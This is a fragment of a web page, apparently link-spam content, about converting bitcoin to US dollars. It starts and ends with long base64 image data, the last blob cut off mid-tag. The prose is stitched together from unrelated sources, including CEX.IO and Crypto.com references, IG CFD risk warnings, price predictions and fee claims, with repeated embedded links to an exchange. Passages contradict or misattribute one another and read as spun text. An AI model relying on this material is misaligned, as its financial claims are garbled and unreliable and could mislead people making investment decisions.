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" width="302px" alt="bitcoin to dollars exchange"/><br />
So, if you still don’t have an account on CEX.IO, you can easily register here. Bitcoin users predict 94% of all bitcoins will have been released by 2024. As the total number creeps toward the 21 million mark, many suspect the profits miners once made creating new blocks will become so low they&#8217;ll become negligible. But with more bitcoins in circulation, people also expect transaction fees to rise, possibly making up the difference. It&#8217;s organized through a network known as a blockchain, which is basically an online ledger that keeps a secure record of each transaction and bitcoin price all in one place. Bitcoins can be transferred from a bitcoin exchanges to one of many bitcoin wallets, ranging from online options to ‘cold storage’.</p>
<p>The worst day to change Bitcoin in US dollars was the Tuesday, 20 July 2021. This option might, however, be preferable for people who make digital purchases regularly and don’t want the hassle of transferring their money from a bank to a digital wallet. Check the exchange rate regularly online or sign up for a service that updates you on the bitcoin-to-dollar exchange rate so you’ll know when it improves. By using this cryptocurrency converter, you can convert BTC to USD. It will show you how much 1 Bitcoin is worth in US Dollar currently. On the contrary, you can convert and find out the current value of 1 US Dollar in Bitcoin. To check Bitcoin price live in the fiat currency of your choice, you can use Crypto.com’s converter feature in the top right corner of this page. Please note that technical indicators don’t provide a full representation of what’s happening in the cryptocurrency market. Before making the decision to buy or sell any cryptocurrency, you should carefully consider both technical and fundamental factors, as well as your financial situation.</p>
<p>If this is the way you want to convert your bitcoins to dollars, set your payout method to the digital wallet you want to use. Bitcoins have been heralded by many as the currency of tomorrow, but there are still few places that accept them. Fortunately, converting bitcoins to a usable currency like dollars is quick and easy. If you want to know how much bitcoin is worth, run a quick internet search on the subject. If you <a href="https://www.beaxy.com/">https://www.beaxy.com/</a> want to actually convert bitcoin to dollars, deposit them in a digital marketplace and sell them to an interested buyer. The digital marketplace will quickly and easily convert your bitcoins to dollars and transfer them to a debit card, bank account, or digital wallet of your choice. For decades, the most important base currencies of the world have been the U.S. dollar, the euro, the British pound and the Japanese yen.</p>
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<h2>How much does it cost to convert Bitcoin to cash?</h2>
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<p>There is a 1% fee to convert and withdraw your crypto to cash in addition to standard network fees. A network fee is necessary in order to have your transaction processed by the decentralized cryptocurrency network.</p>
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<p>A recent study by Deutsche Bank found that about a quarter of Bitcoin investors believe Bitcoin prices will be over $110,000 in five years. Because Bitcoin is so new, price predictions are mostly informed speculations. Bitcoin had been stuck below $40,000 until it jumped 10% to above $42,000 following President Joe Biden’s March 9 signing of a sweeping executive order on cryptocurrency. The order calls for government agencies to create a plan to regulate cryptocurrency, and to consider a government-issued central bank digital currency. Based on those principles, the cryptocurrency market — which now consists of thousands of cryptocurrencies — has grown to a valuation of more than $2 trillion. While Bitcoin has the longest record for investors to consider, it’s no less volatile. Finance analytics believe that there are a few main drivers that affect BTC and most altcoins.</p>
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<h2>Is it hard to convert Bitcoin to cash?</h2>
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<p>It&#8217;s simple, easy, and secure, but it&#8217;s not the fastest method. The average time for money to reach your account is about 4-6 days but it varies by country. Any associated fees also depend on the country that your bank is located in. Bitcoin ATMs and Bitcoin Debit Cards function in the same way as third-party brokers.</p>
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<p>A blockchain is a digital ledger recording cryptocurrency transactions, maintaining records referred to as ‘blocks’ in a linear, chronological order. The risks of loss from investing in CFDs can be substantial and the value of your investments may fluctuate. CFDs are complex instruments and come with a high risk of losing money rapidly due to leverage. You should consider whether you understand how this product works, <a href="https://www.beaxy.com/exchange/btc-usd/">bitcoin price</a> and whether you can afford to take the high risk of losing your money. Use this to see how IG client accounts with positions on this market are trading other markets. Data is calculated to the nearest 1%, and updated automatically every 15 minutes. On the other hand, any regulation that will cause friction with the idea of decentralisation and blockchain will see investors express pessimism in the value of BTCUSD.<br />
<a href="https://www.beaxy.com/"><img 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TZCrfU6+vPC3n2F9mGXdmnZPT6vrBU51meZZUuoUy3vLKpESsO6iY7Q4Vo1MhAI6cDjHHWvdTz6y1lnGqK0HfmFZWEIzBu7j2gRpfz2iy/ADp0wkrKPKgM4dybCoW4P8MnP4f+TziUdlOrKHR2rqTNc3ilmy0U00VRHHHvLgbmU7b2NnCHk8W8zziLSM0sbtewCRE2H8Nlvzbnn+pHTChRI6juVJNqmWI+tmUAfdf+wwQdkLKWdqPafmev8ANHnUzUmVxCCWmo+9uosDd28i25utuOBziEhFSQMF4jqSrX9G6/cD+Ppgyozwjan1qckfJyfIei/09cZOCRMym4CRzN9wPU26t8B7zggoJKNSixSG/iLw8+8cf9X9MERLrGUA8aPHbjryfxHuGF5iFklljN1WdZFA9Gufjzx7z7hglu4Jdblaao6ev4fu/AYISSaWfubdWRkvz1N7fzHvOAjVh3JUAbt0J4H2W/3un24My90CDwYJ+vuPmfP93r1wEgMKyIGH7Caw+/0/0jj7cFBSXs9nkWvkp0VDviYFmP1bEHj16n0w565rayjy+M0DyRxSybZZQbF+OgPp/wCMR3S7pFqKFHjLo1QBa/UG6i/r9YcdMTHXdKJ8kmsru8RV7JyEseSflidESYDbZZavayLF4y4XDrfb7KtHG55gLWZe86246/IWJ95wpSzy0tVS1UT7HFgDa1iLj5eXGCKSzwNf667OvxH8vPCdrwC3WOTiw9R5fZ1xDBWoIDhYqd5JqKlzERCqb/bWkKbCLKo9R6XA+N8becZNFm0CwO1pFJBl29ARyB7un2YgEEz09aZYRzxKlvdZuPX44k8+tqeWh70QsshO0RDkFvefT3D7cTGTNe0tkWZqsMlgnbLR39Mv6/CoxXUr0UslL3m56eUpuTzBF+PQcYzBqiWWurqjvgrPLawAsBa1r292MxENr5LRxh3AOPXfvWsiF2Crckni3nhWelqKZtk0LIT6jD1p+igjRa+qS+5wkS+/1wfN87gnH0WWHc8U179LAHEA1LjL1cbbgaqKax7p+qjbcDUrKZKHIaeKoq4BNVTDcFbooxu5jWUGV1Yr44bSz0/gVRwCfM4bInk1DnCsY9kaWJHkqjBK7vM8zruKUEqSETngAdcRup45B1pzsS7PbYKGYeOUGYm9iXZ5W2C2shX6LS1edz9QpSM+e84aaGllzKvjp0bxSv4m9PU4dM8m3tDkeXqzx0wsdouWfDzpbJkydZ8yzoJAQoCiQjgEdfjguqBBG6c/E7Qb20GXqk+pFPE+oPxO+Eb20GXqtLNaeozSojyXJoe8p6IWZl4Vm82J6YcsqzDTlbkkFJn8qLJQtYIL3NuB8camaavp4ad8tyCnWGIgq0lrE/C388RNlJa/JN/xxzipH1MQbJdgBuLfF2k96bBRyVUIbICwA3FvivuTyvdOuos4OdV3exgxwRLsgQ/urxhuseLD5/PEq0l2c53qfbUMhpKHqaiQdR/lHn/LE21pkWmNI6ENNlMMc0+YyKi1BIZ32sCxB9OLWHri9p6Exw3aLNaEx+NUdFNHh1P77yQ2w25knsFzbVRLs103QZtVVWc53HfK8oh+kTj+IgXAt5jgnFjVWa5P2jdn2fPR5O8H6qRmgBAJuoJUi3TgHjESgy2PKuxabNIZZEnzOsVJCrkAqtxa1xxwb+uH/sRh7zSGsmb6iUx8+ngk9P64n03ulsFviaSfI28lmsccJ2S4rxG8MrGMFyALOaHZbkkkX5AKB6n1fLqehyfI6Sgamp8shWFIwxYyyHaC1h5/1OJh2irHpHs701oYDdUVIWvqW27WU3+qVPIN2tz/AA4buxXRy6g1K